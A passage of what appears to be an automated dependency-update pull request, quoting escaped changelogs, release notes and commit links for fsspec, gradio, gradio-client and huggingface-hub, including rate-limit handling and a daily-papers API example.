href=\"https://github.com/fsspec/filesystem_spec/commit/04a0c60e97d48ab2d36292b9338e381c1c2965ce\"\u003e\u003ccode\u003e04a0c60\u003c/code\u003e\u003c/a\u003e Avoid warning with ruff 0.14 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1942\"\u003e#1942\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/fsspec/filesystem_spec/compare/2025.10.0...2025.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio` from 5.49.1 to 5.50.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/blob/main/CHANGELOG.md\"\u003egradio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003egradio\u003c/h1\u003e\n\u003ch2\u003e6.0.2\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12475\"\u003e#12475\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/c4c36c7da3d14d60f4fd9b35bbe68d52f7b38bb9\"\u003e\u003ccode\u003ec4c36c7\u003c/code\u003e\u003c/a\u003e - Fix highlighted text in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12476\"\u003e#12476\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4e9a330a85396659e8cf4d90f25d3dde82a685b3\"\u003e\u003ccode\u003e4e9a330\u003c/code\u003e\u003c/a\u003e - Fix slider css issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12480\"\u003e#12480\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/b9732d10680ca66fa7b3f1e763d3cdd57b38c6ed\"\u003e\u003ccode\u003eb9732d1\u003c/code\u003e\u003c/a\u003e - [BUGFIX] Fix stream file download in gradio client.  Thanks \u003ca href=\"https://github.com/frascuchon\"\u003e\u003ccode\u003e@​frascuchon\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12490\"\u003e#12490\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/472e16439f2573b33d21b9635706416518405ddd\"\u003e\u003ccode\u003e472e164\u003c/code\u003e\u003c/a\u003e - Make client backwards compatible with version 5.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12489\"\u003e#12489\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/2a2dd60d5aa041d82640358a5ed6ba03f1b398e2\"\u003e\u003ccode\u003e2a2dd60\u003c/code\u003e\u003c/a\u003e - 12485 fix mcp client issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12477\"\u003e#12477\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/07fa4949fa5b806732eb429f732037615f9f546e\"\u003e\u003ccode\u003e07fa494\u003c/code\u003e\u003c/a\u003e - Checkbox Label Fix.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12445\"\u003e#12445\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0f2fa10887b5c2f7fe4a4080e8bcf7d91669a163\"\u003e\u003ccode\u003e0f2fa10\u003c/code\u003e\u003c/a\u003e - chore(deps): ⬆️ update pillow from 11.1.0 to 12.0.  Thanks \u003ca href=\"https://github.com/onuralpszr\"\u003e\u003ccode\u003e@​onuralpszr\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12446\"\u003e#12446\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/96efaabb38a5b48c26011560634189388e83181a\"\u003e\u003ccode\u003e96efaab\u003c/code\u003e\u003c/a\u003e - Update gradio_client version to 2.0.0.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12460\"\u003e#12460\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f9e272dc120bb8f8f9f5fb2bd9f0a4eac0563d6e\"\u003e\u003ccode\u003ef9e272d\u003c/code\u003e\u003c/a\u003e - Fix bug where close method does not kill the thread.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12416\"\u003e#12416\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/7e867fde9070849fb474a08544c72f2522a9cbe9\"\u003e\u003ccode\u003e7e867fd\u003c/code\u003e\u003c/a\u003e - Fix custom components for gradio 6.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12461\"\u003e#12461\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9a86e8064787029bc20b086c6f3191879f786e0f\"\u003e\u003ccode\u003e9a86e80\u003c/code\u003e\u003c/a\u003e - Fix Login Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12473\"\u003e#12473\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f42628d35c5597d83c57980d559f1daf7805b153\"\u003e\u003ccode\u003ef42628d\u003c/code\u003e\u003c/a\u003e - Allow new custom components to use Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.0-dev.5\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12371\"\u003e#12371\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9e8a313b94259354da649310125d0142bb953fad\"\u003e\u003ccode\u003e9e8a313\u003c/code\u003e\u003c/a\u003e - Fix Walkthrough component.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12393\"\u003e#12393\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/02ce6d5b768ddf68241bee92e11a166e97fd9b2d\"\u003e\u003ccode\u003e02ce6d5\u003c/code\u003e\u003c/a\u003e - Remove SSE transport from MCP docs.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12383\"\u003e#12383\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/650576399bad10f03aaa03dd9437f03b47ba378b\"\u003e\u003ccode\u003e6505763\u003c/code\u003e\u003c/a\u003e - Fix Reload Mode in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12358\"\u003e#12358\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4552df4e3698b39c58fc86d3023e434db6aeec1e\"\u003e\u003ccode\u003e4552df4\u003c/code\u003e\u003c/a\u003e - Fix status tracker iterative image.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12374\"\u003e#12374\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/c72972e7c38d4a3511978c412759b9ac34bffcc4\"\u003e\u003ccode\u003ec72972e\u003c/code\u003e\u003c/a\u003e - Ensure \u003ccode\u003eshow_error\u003c/code\u003e is always respected.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12372\"\u003e#12372\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/a8c26e406aa82e6e30f1556e62e54f99f64668bd\"\u003e\u003ccode\u003ea8c26e4\u003c/code\u003e\u003c/a\u003e - Fix Chatbot autoscroll.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12377\"\u003e#12377\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/568644a88c4dbe1b6ad9468906b1e45ed07657f3\"\u003e\u003ccode\u003e568644a\u003c/code\u003e\u003c/a\u003e - Add a 6.0 migration guide and add deprecation warnings.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12381\"\u003e#12381\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/36d5657128a81739a78d6b11b3f5a632a9027ab1\"\u003e\u003ccode\u003e36d5657\u003c/code\u003e\u003c/a\u003e - Fix full width toast issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/11821\"\u003e#11821\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9ea6686924278f4e5b562c33059931f309c92c93\"\u003e\u003ccode\u003e9ea6686\u003c/code\u003e\u003c/a\u003e - Spaces hot reloading.  Thanks \u003ca href=\"https://github.com/cbensimon\"\u003e\u003ccode\u003e@​cbensimon\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12389\"\u003e#12389\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/61e5aeb4fe539e51fe07777750ee222444801829\"\u003e\u003ccode\u003e61e5aeb\u003c/code\u003e\u003c/a\u003e - Download frontend templates for custom components.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12373\"\u003e#12373\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/017eaf0a9a783d0f9f2fbf7fe2e30c855c9dd9cd\"\u003e\u003ccode\u003e017eaf0\u003c/code\u003e\u003c/a\u003e - Fix audio errors when streaming.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12391\"\u003e#12391\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/5ba7e1e7d502017551c5899db175bcc9c6fb5eaa\"\u003e\u003ccode\u003e5ba7e1e\u003c/code\u003e\u003c/a\u003e - Reduce files in build.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12398\"\u003e#12398\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/04e258106f6f6a07facbacd9f43a307fc0cb64c9\"\u003e\u003ccode\u003e04e2581\u003c/code\u003e\u003c/a\u003e - fix publish.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12375\"\u003e#12375\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/2043967b958be9d51c4ee25272afa84bf0dbea08\"\u003e\u003ccode\u003e2043967\u003c/code\u003e\u003c/a\u003e - fix font.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12370\"\u003e#12370\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f632b87f83ff283817e21ce679b70d2406074ea2\"\u003e\u003ccode\u003ef632b87\u003c/code\u003e\u003c/a\u003e - Fix progress in StatusTracker.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12363\"\u003e#12363\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4845bfdab53096a609d80485e87d5cc70f3f0521\"\u003e\u003ccode\u003e4845bfd\u003c/code\u003e\u003c/a\u003e - Fix queue false render issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio-client` from 1.13.3 to 1.14.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/releases\"\u003egradio-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​gradio/model3d\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/11908\"\u003e#11908\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/029034f7853ea018d110efe9b7e2ef7d1407091c\"\u003e\u003ccode\u003e029034f\u003c/code\u003e\u003c/a\u003e - Clear Error statuses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12438\"\u003e#12438\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/25ffc0398f8feb43d817c02b2ab970c16de6d797\"\u003e\u003ccode\u003e25ffc03\u003c/code\u003e\u003c/a\u003e - Svelte5 migration and bugfix\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/atoms\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.19.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/client\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/icons\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/statustracker\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.12.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/upload\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.17.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/utils\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.10.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​gradio/model3d\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.1-dev.0\u003c/h2\u003e\n\u003ch3\u003eDependency updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/upload\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.17.2-dev.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/client\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.0-dev.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits/@gradio/client@1.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `huggingface-hub` from 1.1.4 to 1.2.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/huggingface/huggingface_hub/releases\"\u003ehuggingface-hub's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.2.1: Smarter Rate Limit Handling, Daily Papers API and more QoL improvements!\u003c/h2\u003e\n\u003ch2\u003e🚦 Smarter Rate Limit Handling\u003c/h2\u003e\n\u003cp\u003eWe've improved how the \u003ccode\u003ehuggingface_hub\u003c/code\u003e library handles rate limits from the Hub. When you hit a rate limit, you'll now see clear, actionable error messages telling you exactly how long to wait and how many requests you have left.\u003c/p\u003e\n\u003cpre lang=\"console\"\u003e\u003ccode\u003eHfHubHTTPError: 429 Too Many Requests for url: https://huggingface.co/api/models/username/reponame.\nRetry after 55 seconds (0/2500 requests remaining in current 300s window).\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhen a 429 error occurs, the SDK automatically parses the \u003ccode\u003eRateLimit\u003c/code\u003e header to extract the exact number of seconds until the rate limit resets, then waits precisely that duration before retrying. This applies to file downloads (i.e. Resolvers), uploads, and paginated Hub API calls (\u003ccode\u003elist_models\u003c/code\u003e, \u003ccode\u003elist_datasets\u003c/code\u003e, \u003ccode\u003elist_spaces\u003c/code\u003e, etc.).\u003c/p\u003e\n\u003cp\u003eMore info about Hub rate limits in the docs 👉 \u003ca href=\"https://huggingface.co/docs/hub/rate-limits#hub-rate-limits\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eParse rate limit headers for better 429 error messages by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3570\"\u003e#3570\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse rate limit headers for smarter retry in http backoff by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3577\"\u003e#3577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHarmonize retry behavior for metadata fetch and \u003ccode\u003eHfFileSystem\u003c/code\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3583\"\u003e#3583\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd retry for preupload endpoint by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3588\"\u003e#3588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse default retry values in pagination by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3587\"\u003e#3587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e✨ HF API\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDaily Papers endpoint\u003c/strong\u003e: You can now programmatically access Hugging Face's daily papers feed. You can filter by week, month, or submitter, and sort by publication date or trending.\u003c/p\u003e\n\u003cpre lang=\"python\"\u003e\u003ccode\u003efrom huggingface_hub import list_daily_papers\n\u003cp\u003efor paper in list_daily_papers(date=\u0026quot;2025-12-03\u0026quot;):\u003cbr /\u003e\nprint(paper.title)\u003c/p\u003e\n\u003ch1\u003eDeepSeek-V3.2: Pushing the Frontier of Open Large Language Models\u003c/h1\u003e\n\u003ch1\u003eToolOrchestra: Elevating Intelligence via Efficient Model and Tool Orchestration\u003c/h1\u003e\n\u003ch1\u003eMultiShotMaster: A Controllable Multi-Shot Video Generation Framework\u003c/h1\u003e\n\u003ch1\u003eDeep Research: A Systematic Survey\u003c/h1\u003e\n\u003ch1\u003eMG-Nav: Dual-Scale Visual Navigation via Sparse Spatial Memory\u003c/h1\u003e\n\u003cp\u003e...\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd daily papers endpoint by \u003ca href=\"https://github.com/BastienGimbert\"\u003e\u003ccode\u003e@​BastienGimbert\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3502\"\u003e#3502\u003c/a\u003e\nAdd more parameters to daily papers by \u003ca href=\"https://github.com/Samoed\"\u003e\u003ccode\u003e@​Samoed\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3585\"\u003e#3585\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eOffline mode helper\u003c/strong\u003e: we recommend using \u003ccode\u003ehuggingface_hub.is_offline_mode()\u003c/code\u003e to check whether offline mode is enabled instead of checking \u003ccode\u003eHF_HUB_OFFLINE\u003c/code\u003e directly.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd \u003ccode\u003eoffline_mode\u003c/code\u003e helper by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e\nRename utility to \u003ccode\u003eis_offline_mode\u003c/code\u003e by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3598\"\u003e#3598\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eInference Endpoints:\u003c/strong\u003e You can now configure scaling metrics and thresholds when deploying endpoints.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003efeat(endpoints): scaling metric and threshold by \u003ca href=\"https://github.com/oOraph\"\u003e\u003ccode\u003e@​oOraph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3525\"\u003e#3525\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d0bc91403e88be8c1cceab7111c2198ade134d2c\"\u003e\u003ccode\u003ed0bc914\u003c/code\u003e\u003c/a\u003e Release: v1.2.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/59dd9f5dbb7d4b091a9184a22b136e2045465ec7\"\u003e\u003ccode\u003e59dd9f5\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into v1.2-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/5ad0254ce2ae8491b14f4c0bce132ad1c94a1151\"\u003e\u003ccode\u003e5ad0254\u003c/code\u003e\u003c/a\u003e Rename utility to is_offline_mode (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3598\"\u003e#3598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/231c4cca972ac660c0402b6f4e894ea13d41ae29\"\u003e\u003ccode\u003e231c4cc\u003c/code\u003e\u003c/a\u003e Release: v1.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/dc6e7bea51dc13449caa4f451887a2c0162e2f93\"\u003e\u003ccode\u003edc6e7be\u003c/code\u003e\u003c/a\u003e Release: v1.2.0.rc0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d31c68d84b1e0a1e7a102cdb7a6330444759d2d3\"\u003e\u003ccode\u003ed31c68d\u003c/code\u003e\u003c/a\u003e use constants.HF_HUB_ETAG_TIMEOUT as timeout for get_hf_file_meta… (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3595\"\u003e#3595\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/a6a23ac8c8950253861573f4adc6ded1d64e55f6\"\u003e\u003ccode\u003ea6a23ac\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eoffline_mode\u003c/code\u003e helper (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/6a8a871c4be7d7f11875bc87270d2d6e315a9d4d\"\u003e\u003ccode\u003e6a8a871\u003c/code\u003e\u003c/a\u003e Just print server warning without hardcoded client-side addition (\u003ca 